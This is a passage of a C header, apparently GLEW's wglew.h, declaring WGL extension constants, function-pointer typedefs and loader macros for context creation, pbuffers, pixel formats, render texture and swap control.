WGLEW_GET_FUN(__wglewCreateAssociatedContextAttribsAMD)\r\n#define wglDeleteAssociatedContextAMD WGLEW_GET_FUN(__wglewDeleteAssociatedContextAMD)\r\n#define wglGetContextGPUIDAMD WGLEW_GET_FUN(__wglewGetContextGPUIDAMD)\r\n#define wglGetCurrentAssociatedContextAMD WGLEW_GET_FUN(__wglewGetCurrentAssociatedContextAMD)\r\n#define wglGetGPUIDsAMD WGLEW_GET_FUN(__wglewGetGPUIDsAMD)\r\n#define wglGetGPUInfoAMD WGLEW_GET_FUN(__wglewGetGPUInfoAMD)\r\n#define wglMakeAssociatedContextCurrentAMD WGLEW_GET_FUN(__wglewMakeAssociatedContextCurrentAMD)\r\n\r\n#define WGLEW_AMD_gpu_association WGLEW_GET_VAR(__WGLEW_AMD_gpu_association)\r\n\r\n#endif /* WGL_AMD_gpu_association */\r\n\r\n/* ------------------------- WGL_ARB_buffer_region ------------------------- */\r\n\r\n#ifndef WGL_ARB_buffer_region\r\n#define WGL_ARB_buffer_region 1\r\n\r\n#define WGL_FRONT_COLOR_BUFFER_BIT_ARB 0x00000001\r\n#define WGL_BACK_COLOR_BUFFER_BIT_ARB 0x00000002\r\n#define WGL_DEPTH_BUFFER_BIT_ARB 0x00000004\r\n#define WGL_STENCIL_BUFFER_BIT_ARB 0x00000008\r\n\r\ntypedef HANDLE (WINAPI * PFNWGLCREATEBUFFERREGIONARBPROC) (HDC hDC, int iLayerPlane, UINT uType);\r\ntypedef VOID (WINAPI * PFNWGLDELETEBUFFERREGIONARBPROC) (HANDLE hRegion);\r\ntypedef BOOL (WINAPI * PFNWGLRESTOREBUFFERREGIONARBPROC) (HANDLE hRegion, int x, int y, int width, int height, int xSrc, int ySrc);\r\ntypedef BOOL (WINAPI * PFNWGLSAVEBUFFERREGIONARBPROC) (HANDLE hRegion, int x, int y, int width, int height);\r\n\r\n#define wglCreateBufferRegionARB WGLEW_GET_FUN(__wglewCreateBufferRegionARB)\r\n#define wglDeleteBufferRegionARB WGLEW_GET_FUN(__wglewDeleteBufferRegionARB)\r\n#define wglRestoreBufferRegionARB WGLEW_GET_FUN(__wglewRestoreBufferRegionARB)\r\n#define wglSaveBufferRegionARB WGLEW_GET_FUN(__wglewSaveBufferRegionARB)\r\n\r\n#define WGLEW_ARB_buffer_region WGLEW_GET_VAR(__WGLEW_ARB_buffer_region)\r\n\r\n#endif /* WGL_ARB_buffer_region */\r\n\r\n/* ------------------------- WGL_ARB_create_context ------------------------ */\r\n\r\n#ifndef WGL_ARB_create_context\r\n#define WGL_ARB_create_context 1\r\n\r\n#define WGL_CONTEXT_DEBUG_BIT_ARB 0x0001\r\n#define WGL_CONTEXT_FORWARD_COMPATIBLE_BIT_ARB 0x0002\r\n#define WGL_CONTEXT_MAJOR_VERSION_ARB 0x2091\r\n#define WGL_CONTEXT_MINOR_VERSION_ARB 0x2092\r\n#define WGL_CONTEXT_LAYER_PLANE_ARB 0x2093\r\n#define WGL_CONTEXT_FLAGS_ARB 0x2094\r\n#define ERROR_INVALID_VERSION_ARB 0x2095\r\n#define ERROR_INVALID_PROFILE_ARB 0x2096\r\n\r\ntypedef HGLRC (WINAPI * PFNWGLCREATECONTEXTATTRIBSARBPROC) (HDC hDC, HGLRC hShareContext, const int* attribList);\r\n\r\n#define wglCreateContextAttribsARB WGLEW_GET_FUN(__wglewCreateContextAttribsARB)\r\n\r\n#define WGLEW_ARB_create_context WGLEW_GET_VAR(__WGLEW_ARB_create_context)\r\n\r\n#endif /* WGL_ARB_create_context */\r\n\r\n/* --------------------- WGL_ARB_create_context_profile -------------------- */\r\n\r\n#ifndef WGL_ARB_create_context_profile\r\n#define WGL_ARB_create_context_profile 1\r\n\r\n#define WGL_CONTEXT_CORE_PROFILE_BIT_ARB 0x00000001\r\n#define WGL_CONTEXT_COMPATIBILITY_PROFILE_BIT_ARB 0x00000002\r\n#define WGL_CONTEXT_PROFILE_MASK_ARB 0x9126\r\n\r\n#define WGLEW_ARB_create_context_profile WGLEW_GET_VAR(__WGLEW_ARB_create_context_profile)\r\n\r\n#endif /* WGL_ARB_create_context_profile */\r\n\r\n/* ------------------- WGL_ARB_create_context_robustness ------------------- */\r\n\r\n#ifndef WGL_ARB_create_context_robustness\r\n#define WGL_ARB_create_context_robustness 1\r\n\r\n#define WGL_CONTEXT_ROBUST_ACCESS_BIT_ARB 0x00000004\r\n#define WGL_LOSE_CONTEXT_ON_RESET_ARB 0x8252\r\n#define WGL_CONTEXT_RESET_NOTIFICATION_STRATEGY_ARB 0x8256\r\n#define WGL_NO_RESET_NOTIFICATION_ARB 0x8261\r\n\r\n#define WGLEW_ARB_create_context_robustness WGLEW_GET_VAR(__WGLEW_ARB_create_context_robustness)\r\n\r\n#endif /* WGL_ARB_create_context_robustness */\r\n\r\n/* ----------------------- WGL_ARB_extensions_string ----------------------- */\r\n\r\n#ifndef WGL_ARB_extensions_string\r\n#define WGL_ARB_extensions_string 1\r\n\r\ntypedef const char* (WINAPI * PFNWGLGETEXTENSIONSSTRINGARBPROC) (HDC hdc);\r\n\r\n#define wglGetExtensionsStringARB WGLEW_GET_FUN(__wglewGetExtensionsStringARB)\r\n\r\n#define WGLEW_ARB_extensions_string WGLEW_GET_VAR(__WGLEW_ARB_extensions_string)\r\n\r\n#endif /* WGL_ARB_extensions_string */\r\n\r\n/* ------------------------ WGL_ARB_framebuffer_sRGB ----------------------- */\r\n\r\n#ifndef WGL_ARB_framebuffer_sRGB\r\n#define WGL_ARB_framebuffer_sRGB 1\r\n\r\n#define WGL_FRAMEBUFFER_SRGB_CAPABLE_ARB 0x20A9\r\n\r\n#define WGLEW_ARB_framebuffer_sRGB WGLEW_GET_VAR(__WGLEW_ARB_framebuffer_sRGB)\r\n\r\n#endif /* WGL_ARB_framebuffer_sRGB */\r\n\r\n/* ----------------------- WGL_ARB_make_current_read ----------------------- */\r\n\r\n#ifndef WGL_ARB_make_current_read\r\n#define WGL_ARB_make_current_read 1\r\n\r\n#define ERROR_INVALID_PIXEL_TYPE_ARB 0x2043\r\n#define ERROR_INCOMPATIBLE_DEVICE_CONTEXTS_ARB 0x2054\r\n\r\ntypedef HDC (WINAPI * PFNWGLGETCURRENTREADDCARBPROC) (VOID);\r\ntypedef BOOL (WINAPI * PFNWGLMAKECONTEXTCURRENTARBPROC) (HDC hDrawDC, HDC hReadDC, HGLRC hglrc);\r\n\r\n#define wglGetCurrentReadDCARB WGLEW_GET_FUN(__wglewGetCurrentReadDCARB)\r\n#define wglMakeContextCurrentARB WGLEW_GET_FUN(__wglewMakeContextCurrentARB)\r\n\r\n#define WGLEW_ARB_make_current_read WGLEW_GET_VAR(__WGLEW_ARB_make_current_read)\r\n\r\n#endif /* WGL_ARB_make_current_read */\r\n\r\n/* -------------------------- WGL_ARB_multisample -------------------------- */\r\n\r\n#ifndef WGL_ARB_multisample\r\n#define WGL_ARB_multisample 1\r\n\r\n#define WGL_SAMPLE_BUFFERS_ARB 0x2041\r\n#define WGL_SAMPLES_ARB 0x2042\r\n\r\n#define WGLEW_ARB_multisample WGLEW_GET_VAR(__WGLEW_ARB_multisample)\r\n\r\n#endif /* WGL_ARB_multisample */\r\n\r\n/* ---------------------------- WGL_ARB_pbuffer ---------------------------- */\r\n\r\n#ifndef WGL_ARB_pbuffer\r\n#define WGL_ARB_pbuffer 1\r\n\r\n#define WGL_DRAW_TO_PBUFFER_ARB 0x202D\r\n#define WGL_MAX_PBUFFER_PIXELS_ARB 0x202E\r\n#define WGL_MAX_PBUFFER_WIDTH_ARB 0x202F\r\n#define WGL_MAX_PBUFFER_HEIGHT_ARB 0x2030\r\n#define WGL_PBUFFER_LARGEST_ARB 0x2033\r\n#define WGL_PBUFFER_WIDTH_ARB 0x2034\r\n#define WGL_PBUFFER_HEIGHT_ARB 0x2035\r\n#define WGL_PBUFFER_LOST_ARB 0x2036\r\n\r\nDECLARE_HANDLE(HPBUFFERARB);\r\n\r\ntypedef HPBUFFERARB (WINAPI * PFNWGLCREATEPBUFFERARBPROC) (HDC hDC, int iPixelFormat, int iWidth, int iHeight, const int* piAttribList);\r\ntypedef BOOL (WINAPI * PFNWGLDESTROYPBUFFERARBPROC) (HPBUFFERARB hPbuffer);\r\ntypedef HDC (WINAPI * PFNWGLGETPBUFFERDCARBPROC) (HPBUFFERARB hPbuffer);\r\ntypedef BOOL (WINAPI * PFNWGLQUERYPBUFFERARBPROC) (HPBUFFERARB hPbuffer, int iAttribute, int* piValue);\r\ntypedef int (WINAPI * PFNWGLRELEASEPBUFFERDCARBPROC) (HPBUFFERARB hPbuffer, HDC hDC);\r\n\r\n#define wglCreatePbufferARB WGLEW_GET_FUN(__wglewCreatePbufferARB)\r\n#define wglDestroyPbufferARB WGLEW_GET_FUN(__wglewDestroyPbufferARB)\r\n#define wglGetPbufferDCARB WGLEW_GET_FUN(__wglewGetPbufferDCARB)\r\n#define wglQueryPbufferARB WGLEW_GET_FUN(__wglewQueryPbufferARB)\r\n#define wglReleasePbufferDCARB WGLEW_GET_FUN(__wglewReleasePbufferDCARB)\r\n\r\n#define WGLEW_ARB_pbuffer WGLEW_GET_VAR(__WGLEW_ARB_pbuffer)\r\n\r\n#endif /* WGL_ARB_pbuffer */\r\n\r\n/* -------------------------- WGL_ARB_pixel_format ------------------------- */\r\n\r\n#ifndef WGL_ARB_pixel_format\r\n#define WGL_ARB_pixel_format 1\r\n\r\n#define WGL_NUMBER_PIXEL_FORMATS_ARB 0x2000\r\n#define WGL_DRAW_TO_WINDOW_ARB 0x2001\r\n#define WGL_DRAW_TO_BITMAP_ARB 0x2002\r\n#define WGL_ACCELERATION_ARB 0x2003\r\n#define WGL_NEED_PALETTE_ARB 0x2004\r\n#define WGL_NEED_SYSTEM_PALETTE_ARB 0x2005\r\n#define WGL_SWAP_LAYER_BUFFERS_ARB 0x2006\r\n#define WGL_SWAP_METHOD_ARB 0x2007\r\n#define WGL_NUMBER_OVERLAYS_ARB 0x2008\r\n#define WGL_NUMBER_UNDERLAYS_ARB 0x2009\r\n#define WGL_TRANSPARENT_ARB 0x200A\r\n#define WGL_SHARE_DEPTH_ARB 0x200C\r\n#define WGL_SHARE_STENCIL_ARB 0x200D\r\n#define WGL_SHARE_ACCUM_ARB 0x200E\r\n#define WGL_SUPPORT_GDI_ARB 0x200F\r\n#define WGL_SUPPORT_OPENGL_ARB 0x2010\r\n#define WGL_DOUBLE_BUFFER_ARB 0x2011\r\n#define WGL_STEREO_ARB 0x2012\r\n#define WGL_PIXEL_TYPE_ARB 0x2013\r\n#define WGL_COLOR_BITS_ARB 0x2014\r\n#define WGL_RED_BITS_ARB 0x2015\r\n#define WGL_RED_SHIFT_ARB 0x2016\r\n#define WGL_GREEN_BITS_ARB 0x2017\r\n#define WGL_GREEN_SHIFT_ARB 0x2018\r\n#define WGL_BLUE_BITS_ARB 0x2019\r\n#define WGL_BLUE_SHIFT_ARB 0x201A\r\n#define WGL_ALPHA_BITS_ARB 0x201B\r\n#define WGL_ALPHA_SHIFT_ARB 0x201C\r\n#define WGL_ACCUM_BITS_ARB 0x201D\r\n#define WGL_ACCUM_RED_BITS_ARB 0x201E\r\n#define WGL_ACCUM_GREEN_BITS_ARB 0x201F\r\n#define WGL_ACCUM_BLUE_BITS_ARB 0x2020\r\n#define WGL_ACCUM_ALPHA_BITS_ARB 0x2021\r\n#define WGL_DEPTH_BITS_ARB 0x2022\r\n#define WGL_STENCIL_BITS_ARB 0x2023\r\n#define WGL_AUX_BUFFERS_ARB 0x2024\r\n#define WGL_NO_ACCELERATION_ARB 0x2025\r\n#define WGL_GENERIC_ACCELERATION_ARB 0x2026\r\n#define WGL_FULL_ACCELERATION_ARB 0x2027\r\n#define WGL_SWAP_EXCHANGE_ARB 0x2028\r\n#define WGL_SWAP_COPY_ARB 0x2029\r\n#define WGL_SWAP_UNDEFINED_ARB 0x202A\r\n#define WGL_TYPE_RGBA_ARB 0x202B\r\n#define WGL_TYPE_COLORINDEX_ARB 0x202C\r\n#define WGL_TRANSPARENT_RED_VALUE_ARB 0x2037\r\n#define WGL_TRANSPARENT_GREEN_VALUE_ARB 0x2038\r\n#define WGL_TRANSPARENT_BLUE_VALUE_ARB 0x2039\r\n#define WGL_TRANSPARENT_ALPHA_VALUE_ARB 0x203A\r\n#define WGL_TRANSPARENT_INDEX_VALUE_ARB 0x203B\r\n\r\ntypedef BOOL (WINAPI * PFNWGLCHOOSEPIXELFORMATARBPROC) (HDC hdc, const int* piAttribIList, const FLOAT *pfAttribFList, UINT nMaxFormats, int *piFormats, UINT *nNumFormats);\r\ntypedef BOOL (WINAPI * PFNWGLGETPIXELFORMATATTRIBFVARBPROC) (HDC hdc, int iPixelFormat, int iLayerPlane, UINT nAttributes, const int* piAttributes, FLOAT *pfValues);\r\ntypedef BOOL (WINAPI * PFNWGLGETPIXELFORMATATTRIBIVARBPROC) (HDC hdc, int iPixelFormat, int iLayerPlane, UINT nAttributes, const int* piAttributes, int *piValues);\r\n\r\n#define wglChoosePixelFormatARB WGLEW_GET_FUN(__wglewChoosePixelFormatARB)\r\n#define wglGetPixelFormatAttribfvARB WGLEW_GET_FUN(__wglewGetPixelFormatAttribfvARB)\r\n#define wglGetPixelFormatAttribivARB WGLEW_GET_FUN(__wglewGetPixelFormatAttribivARB)\r\n\r\n#define WGLEW_ARB_pixel_format WGLEW_GET_VAR(__WGLEW_ARB_pixel_format)\r\n\r\n#endif /* WGL_ARB_pixel_format */\r\n\r\n/* ----------------------- WGL_ARB_pixel_format_float ---------------------- */\r\n\r\n#ifndef WGL_ARB_pixel_format_float\r\n#define WGL_ARB_pixel_format_float 1\r\n\r\n#define WGL_TYPE_RGBA_FLOAT_ARB 0x21A0\r\n\r\n#define WGLEW_ARB_pixel_format_float WGLEW_GET_VAR(__WGLEW_ARB_pixel_format_float)\r\n\r\n#endif /* WGL_ARB_pixel_format_float */\r\n\r\n/* ------------------------- WGL_ARB_render_texture ------------------------ */\r\n\r\n#ifndef WGL_ARB_render_texture\r\n#define WGL_ARB_render_texture 1\r\n\r\n#define WGL_BIND_TO_TEXTURE_RGB_ARB 0x2070\r\n#define WGL_BIND_TO_TEXTURE_RGBA_ARB 0x2071\r\n#define WGL_TEXTURE_FORMAT_ARB 0x2072\r\n#define WGL_TEXTURE_TARGET_ARB 0x2073\r\n#define WGL_MIPMAP_TEXTURE_ARB 0x2074\r\n#define WGL_TEXTURE_RGB_ARB 0x2075\r\n#define WGL_TEXTURE_RGBA_ARB 0x2076\r\n#define WGL_NO_TEXTURE_ARB 0x2077\r\n#define WGL_TEXTURE_CUBE_MAP_ARB 0x2078\r\n#define WGL_TEXTURE_1D_ARB 0x2079\r\n#define WGL_TEXTURE_2D_ARB 0x207A\r\n#define WGL_MIPMAP_LEVEL_ARB 0x207B\r\n#define WGL_CUBE_MAP_FACE_ARB 0x207C\r\n#define WGL_TEXTURE_CUBE_MAP_POSITIVE_X_ARB 0x207D\r\n#define WGL_TEXTURE_CUBE_MAP_NEGATIVE_X_ARB 0x207E\r\n#define WGL_TEXTURE_CUBE_MAP_POSITIVE_Y_ARB 0x207F\r\n#define WGL_TEXTURE_CUBE_MAP_NEGATIVE_Y_ARB 0x2080\r\n#define WGL_TEXTURE_CUBE_MAP_POSITIVE_Z_ARB 0x2081\r\n#define WGL_TEXTURE_CUBE_MAP_NEGATIVE_Z_ARB 0x2082\r\n#define WGL_FRONT_LEFT_ARB 0x2083\r\n#define WGL_FRONT_RIGHT_ARB 0x2084\r\n#define WGL_BACK_LEFT_ARB 0x2085\r\n#define WGL_BACK_RIGHT_ARB 0x2086\r\n#define WGL_AUX0_ARB 0x2087\r\n#define WGL_AUX1_ARB 0x2088\r\n#define WGL_AUX2_ARB 0x2089\r\n#define WGL_AUX3_ARB 0x208A\r\n#define WGL_AUX4_ARB 0x208B\r\n#define WGL_AUX5_ARB 0x208C\r\n#define WGL_AUX6_ARB 0x208D\r\n#define WGL_AUX7_ARB 0x208E\r\n#define WGL_AUX8_ARB 0x208F\r\n#define WGL_AUX9_ARB 0x2090\r\n\r\ntypedef BOOL (WINAPI * PFNWGLBINDTEXIMAGEARBPROC) (HPBUFFERARB hPbuffer, int iBuffer);\r\ntypedef BOOL (WINAPI * PFNWGLRELEASETEXIMAGEARBPROC) (HPBUFFERARB hPbuffer, int iBuffer);\r\ntypedef BOOL (WINAPI * PFNWGLSETPBUFFERATTRIBARBPROC) (HPBUFFERARB hPbuffer, const int* piAttribList);\r\n\r\n#define wglBindTexImageARB WGLEW_GET_FUN(__wglewBindTexImageARB)\r\n#define wglReleaseTexImageARB WGLEW_GET_FUN(__wglewReleaseTexImageARB)\r\n#define wglSetPbufferAttribARB WGLEW_GET_FUN(__wglewSetPbufferAttribARB)\r\n\r\n#define WGLEW_ARB_render_texture WGLEW_GET_VAR(__WGLEW_ARB_render_texture)\r\n\r\n#endif /* WGL_ARB_render_texture */\r\n\r\n/* ----------------------- WGL_ATI_pixel_format_float ---------------------- */\r\n\r\n#ifndef WGL_ATI_pixel_format_float\r\n#define WGL_ATI_pixel_format_float 1\r\n\r\n#define WGL_TYPE_RGBA_FLOAT_ATI 0x21A0\r\n#define GL_RGBA_FLOAT_MODE_ATI 0x8820\r\n#define GL_COLOR_CLEAR_UNCLAMPED_VALUE_ATI 0x8835\r\n\r\n#define WGLEW_ATI_pixel_format_float WGLEW_GET_VAR(__WGLEW_ATI_pixel_format_float)\r\n\r\n#endif /* WGL_ATI_pixel_format_float */\r\n\r\n/* -------------------- WGL_ATI_render_texture_rectangle ------------------- */\r\n\r\n#ifndef WGL_ATI_render_texture_rectangle\r\n#define WGL_ATI_render_texture_rectangle 1\r\n\r\n#define WGL_TEXTURE_RECTANGLE_ATI 0x21A5\r\n\r\n#define WGLEW_ATI_render_texture_rectangle WGLEW_GET_VAR(__WGLEW_ATI_render_texture_rectangle)\r\n\r\n#endif /* WGL_ATI_render_texture_rectangle */\r\n\r\n/* ------------------- WGL_EXT_create_context_es2_profile ------------------ */\r\n\r\n#ifndef WGL_EXT_create_context_es2_profile\r\n#define WGL_EXT_create_context_es2_profile 1\r\n\r\n#define WGL_CONTEXT_ES2_PROFILE_BIT_EXT 0x00000004\r\n\r\n#define WGLEW_EXT_create_context_es2_profile WGLEW_GET_VAR(__WGLEW_EXT_create_context_es2_profile)\r\n\r\n#endif /* WGL_EXT_create_context_es2_profile */\r\n\r\n/* -------------------------- WGL_EXT_depth_float -------------------------- */\r\n\r\n#ifndef WGL_EXT_depth_float\r\n#define WGL_EXT_depth_float 1\r\n\r\n#define WGL_DEPTH_FLOAT_EXT 0x2040\r\n\r\n#define WGLEW_EXT_depth_float WGLEW_GET_VAR(__WGLEW_EXT_depth_float)\r\n\r\n#endif /* WGL_EXT_depth_float */\r\n\r\n/* ---------------------- WGL_EXT_display_color_table ---------------------- */\r\n\r\n#ifndef WGL_EXT_display_color_table\r\n#define WGL_EXT_display_color_table 1\r\n\r\ntypedef GLboolean (WINAPI * PFNWGLBINDDISPLAYCOLORTABLEEXTPROC) (GLushort id);\r\ntypedef GLboolean (WINAPI * PFNWGLCREATEDISPLAYCOLORTABLEEXTPROC) (GLushort id);\r\ntypedef void (WINAPI * PFNWGLDESTROYDISPLAYCOLORTABLEEXTPROC) (GLushort id);\r\ntypedef GLboolean (WINAPI * PFNWGLLOADDISPLAYCOLORTABLEEXTPROC) (GLushort* table, GLuint length);\r\n\r\n#define wglBindDisplayColorTableEXT WGLEW_GET_FUN(__wglewBindDisplayColorTableEXT)\r\n#define wglCreateDisplayColorTableEXT WGLEW_GET_FUN(__wglewCreateDisplayColorTableEXT)\r\n#define wglDestroyDisplayColorTableEXT WGLEW_GET_FUN(__wglewDestroyDisplayColorTableEXT)\r\n#define wglLoadDisplayColorTableEXT WGLEW_GET_FUN(__wglewLoadDisplayColorTableEXT)\r\n\r\n#define WGLEW_EXT_display_color_table WGLEW_GET_VAR(__WGLEW_EXT_display_color_table)\r\n\r\n#endif /* WGL_EXT_display_color_table */\r\n\r\n/* ----------------------- WGL_EXT_extensions_string ----------------------- */\r\n\r\n#ifndef WGL_EXT_extensions_string\r\n#define WGL_EXT_extensions_string 1\r\n\r\ntypedef const char* (WINAPI * PFNWGLGETEXTENSIONSSTRINGEXTPROC) (void);\r\n\r\n#define wglGetExtensionsStringEXT WGLEW_GET_FUN(__wglewGetExtensionsStringEXT)\r\n\r\n#define WGLEW_EXT_extensions_string WGLEW_GET_VAR(__WGLEW_EXT_extensions_string)\r\n\r\n#endif /* WGL_EXT_extensions_string */\r\n\r\n/* ------------------------ WGL_EXT_framebuffer_sRGB ----------------------- */\r\n\r\n#ifndef WGL_EXT_framebuffer_sRGB\r\n#define WGL_EXT_framebuffer_sRGB 1\r\n\r\n#define WGL_FRAMEBUFFER_SRGB_CAPABLE_EXT 0x20A9\r\n\r\n#define WGLEW_EXT_framebuffer_sRGB WGLEW_GET_VAR(__WGLEW_EXT_framebuffer_sRGB)\r\n\r\n#endif /* WGL_EXT_framebuffer_sRGB */\r\n\r\n/* ----------------------- WGL_EXT_make_current_read ----------------------- */\r\n\r\n#ifndef WGL_EXT_make_current_read\r\n#define WGL_EXT_make_current_read 1\r\n\r\n#define ERROR_INVALID_PIXEL_TYPE_EXT 0x2043\r\n\r\ntypedef HDC (WINAPI * PFNWGLGETCURRENTREADDCEXTPROC) (VOID);\r\ntypedef BOOL (WINAPI * PFNWGLMAKECONTEXTCURRENTEXTPROC) (HDC hDrawDC, HDC hReadDC, HGLRC hglrc);\r\n\r\n#define wglGetCurrentReadDCEXT WGLEW_GET_FUN(__wglewGetCurrentReadDCEXT)\r\n#define wglMakeContextCurrentEXT WGLEW_GET_FUN(__wglewMakeContextCurrentEXT)\r\n\r\n#define WGLEW_EXT_make_current_read WGLEW_GET_VAR(__WGLEW_EXT_make_current_read)\r\n\r\n#endif /* WGL_EXT_make_current_read */\r\n\r\n/* -------------------------- WGL_EXT_multisample -------------------------- */\r\n\r\n#ifndef WGL_EXT_multisample\r\n#define WGL_EXT_multisample 1\r\n\r\n#define WGL_SAMPLE_BUFFERS_EXT 0x2041\r\n#define WGL_SAMPLES_EXT 0x2042\r\n\r\n#define WGLEW_EXT_multisample WGLEW_GET_VAR(__WGLEW_EXT_multisample)\r\n\r\n#endif /* WGL_EXT_multisample */\r\n\r\n/* ---------------------------- WGL_EXT_pbuffer ---------------------------- */\r\n\r\n#ifndef WGL_EXT_pbuffer\r\n#define WGL_EXT_pbuffer 1\r\n\r\n#define WGL_DRAW_TO_PBUFFER_EXT 0x202D\r\n#define WGL_MAX_PBUFFER_PIXELS_EXT 0x202E\r\n#define WGL_MAX_PBUFFER_WIDTH_EXT 0x202F\r\n#define WGL_MAX_PBUFFER_HEIGHT_EXT 0x2030\r\n#define WGL_OPTIMAL_PBUFFER_WIDTH_EXT 0x2031\r\n#define WGL_OPTIMAL_PBUFFER_HEIGHT_EXT 0x2032\r\n#define WGL_PBUFFER_LARGEST_EXT 0x2033\r\n#define WGL_PBUFFER_WIDTH_EXT 0x2034\r\n#define WGL_PBUFFER_HEIGHT_EXT 0x2035\r\n\r\nDECLARE_HANDLE(HPBUFFEREXT);\r\n\r\ntypedef HPBUFFEREXT (WINAPI * PFNWGLCREATEPBUFFEREXTPROC) (HDC hDC, int iPixelFormat, int iWidth, int iHeight, const int* piAttribList);\r\ntypedef BOOL (WINAPI * PFNWGLDESTROYPBUFFEREXTPROC) (HPBUFFEREXT hPbuffer);\r\ntypedef HDC (WINAPI * PFNWGLGETPBUFFERDCEXTPROC) (HPBUFFEREXT hPbuffer);\r\ntypedef BOOL (WINAPI * PFNWGLQUERYPBUFFEREXTPROC) (HPBUFFEREXT hPbuffer, int iAttribute, int* piValue);\r\ntypedef int (WINAPI * PFNWGLRELEASEPBUFFERDCEXTPROC) (HPBUFFEREXT hPbuffer, HDC hDC);\r\n\r\n#define wglCreatePbufferEXT WGLEW_GET_FUN(__wglewCreatePbufferEXT)\r\n#define wglDestroyPbufferEXT WGLEW_GET_FUN(__wglewDestroyPbufferEXT)\r\n#define wglGetPbufferDCEXT WGLEW_GET_FUN(__wglewGetPbufferDCEXT)\r\n#define wglQueryPbufferEXT WGLEW_GET_FUN(__wglewQueryPbufferEXT)\r\n#define wglReleasePbufferDCEXT WGLEW_GET_FUN(__wglewReleasePbufferDCEXT)\r\n\r\n#define WGLEW_EXT_pbuffer WGLEW_GET_VAR(__WGLEW_EXT_pbuffer)\r\n\r\n#endif /* WGL_EXT_pbuffer */\r\n\r\n/* -------------------------- WGL_EXT_pixel_format ------------------------- */\r\n\r\n#ifndef WGL_EXT_pixel_format\r\n#define WGL_EXT_pixel_format 1\r\n\r\n#define WGL_NUMBER_PIXEL_FORMATS_EXT 0x2000\r\n#define WGL_DRAW_TO_WINDOW_EXT 0x2001\r\n#define WGL_DRAW_TO_BITMAP_EXT 0x2002\r\n#define WGL_ACCELERATION_EXT 0x2003\r\n#define WGL_NEED_PALETTE_EXT 0x2004\r\n#define WGL_NEED_SYSTEM_PALETTE_EXT 0x2005\r\n#define WGL_SWAP_LAYER_BUFFERS_EXT 0x2006\r\n#define WGL_SWAP_METHOD_EXT 0x2007\r\n#define WGL_NUMBER_OVERLAYS_EXT 0x2008\r\n#define WGL_NUMBER_UNDERLAYS_EXT 0x2009\r\n#define WGL_TRANSPARENT_EXT 0x200A\r\n#define WGL_TRANSPARENT_VALUE_EXT 0x200B\r\n#define WGL_SHARE_DEPTH_EXT 0x200C\r\n#define WGL_SHARE_STENCIL_EXT 0x200D\r\n#define WGL_SHARE_ACCUM_EXT 0x200E\r\n#define WGL_SUPPORT_GDI_EXT 0x200F\r\n#define WGL_SUPPORT_OPENGL_EXT 0x2010\r\n#define WGL_DOUBLE_BUFFER_EXT 0x2011\r\n#define WGL_STEREO_EXT 0x2012\r\n#define WGL_PIXEL_TYPE_EXT 0x2013\r\n#define WGL_COLOR_BITS_EXT 0x2014\r\n#define WGL_RED_BITS_EXT 0x2015\r\n#define WGL_RED_SHIFT_EXT 0x2016\r\n#define WGL_GREEN_BITS_EXT 0x2017\r\n#define WGL_GREEN_SHIFT_EXT 0x2018\r\n#define WGL_BLUE_BITS_EXT 0x2019\r\n#define WGL_BLUE_SHIFT_EXT 0x201A\r\n#define WGL_ALPHA_BITS_EXT 0x201B\r\n#define WGL_ALPHA_SHIFT_EXT 0x201C\r\n#define WGL_ACCUM_BITS_EXT 0x201D\r\n#define WGL_ACCUM_RED_BITS_EXT 0x201E\r\n#define WGL_ACCUM_GREEN_BITS_EXT 0x201F\r\n#define WGL_ACCUM_BLUE_BITS_EXT 0x2020\r\n#define WGL_ACCUM_ALPHA_BITS_EXT 0x2021\r\n#define WGL_DEPTH_BITS_EXT 0x2022\r\n#define WGL_STENCIL_BITS_EXT 0x2023\r\n#define WGL_AUX_BUFFERS_EXT 0x2024\r\n#define WGL_NO_ACCELERATION_EXT 0x2025\r\n#define WGL_GENERIC_ACCELERATION_EXT 0x2026\r\n#define WGL_FULL_ACCELERATION_EXT 0x2027\r\n#define WGL_SWAP_EXCHANGE_EXT 0x2028\r\n#define WGL_SWAP_COPY_EXT 0x2029\r\n#define WGL_SWAP_UNDEFINED_EXT 0x202A\r\n#define WGL_TYPE_RGBA_EXT 0x202B\r\n#define WGL_TYPE_COLORINDEX_EXT 0x202C\r\n\r\ntypedef BOOL (WINAPI * PFNWGLCHOOSEPIXELFORMATEXTPROC) (HDC hdc, const int* piAttribIList, const FLOAT *pfAttribFList, UINT nMaxFormats, int *piFormats, UINT *nNumFormats);\r\ntypedef BOOL (WINAPI * PFNWGLGETPIXELFORMATATTRIBFVEXTPROC) (HDC hdc, int iPixelFormat, int iLayerPlane, UINT nAttributes, int* piAttributes, FLOAT *pfValues);\r\ntypedef BOOL (WINAPI * PFNWGLGETPIXELFORMATATTRIBIVEXTPROC) (HDC hdc, int iPixelFormat, int iLayerPlane, UINT nAttributes, int* piAttributes, int *piValues);\r\n\r\n#define wglChoosePixelFormatEXT WGLEW_GET_FUN(__wglewChoosePixelFormatEXT)\r\n#define wglGetPixelFormatAttribfvEXT WGLEW_GET_FUN(__wglewGetPixelFormatAttribfvEXT)\r\n#define wglGetPixelFormatAttribivEXT WGLEW_GET_FUN(__wglewGetPixelFormatAttribivEXT)\r\n\r\n#define WGLEW_EXT_pixel_format WGLEW_GET_VAR(__WGLEW_EXT_pixel_format)\r\n\r\n#endif /* WGL_EXT_pixel_format */\r\n\r\n/* ------------------- WGL_EXT_pixel_format_packed_float ------------------- */\r\n\r\n#ifndef WGL_EXT_pixel_format_packed_float\r\n#define WGL_EXT_pixel_format_packed_float 1\r\n\r\n#define WGL_TYPE_RGBA_UNSIGNED_FLOAT_EXT 0x20A8\r\n\r\n#define WGLEW_EXT_pixel_format_packed_float WGLEW_GET_VAR(__WGLEW_EXT_pixel_format_packed_float)\r\n\r\n#endif /* WGL_EXT_pixel_format_packed_float */\r\n\r\n/* -------------------------- WGL_EXT_swap_control ------------------------- */\r\n\r\n#ifndef WGL_EXT_swap_control\r\n#define WGL_EXT_swap_control 1\r\n\r\ntypedef int (WINAPI * PFNWGLGETSWAPINTERVALEXTPROC) (void);\r\ntypedef BOOL (WINAPI * PFNWGLSWAPINTERVALEXTPROC) (int interval);\r\n\r\n#define wglGetSwapIntervalEXT WGLEW_GET_FUN(__wglewGetSwapIntervalEXT)\r\n#define wglSwapIntervalEXT WGLEW_GET_FUN(__wglewSwapIntervalEXT)\r\n\r\n#define WGLEW_EXT_swap_control WGLEW_GET_VAR(__WGLEW_EXT_swap_control)\r\n\r\n#endif /* WGL_EXT_swap_control */\r\n\r\n/* --------------------- WGL_I3D_digital_video_control --------------------- */\r\n\r\n#ifndef 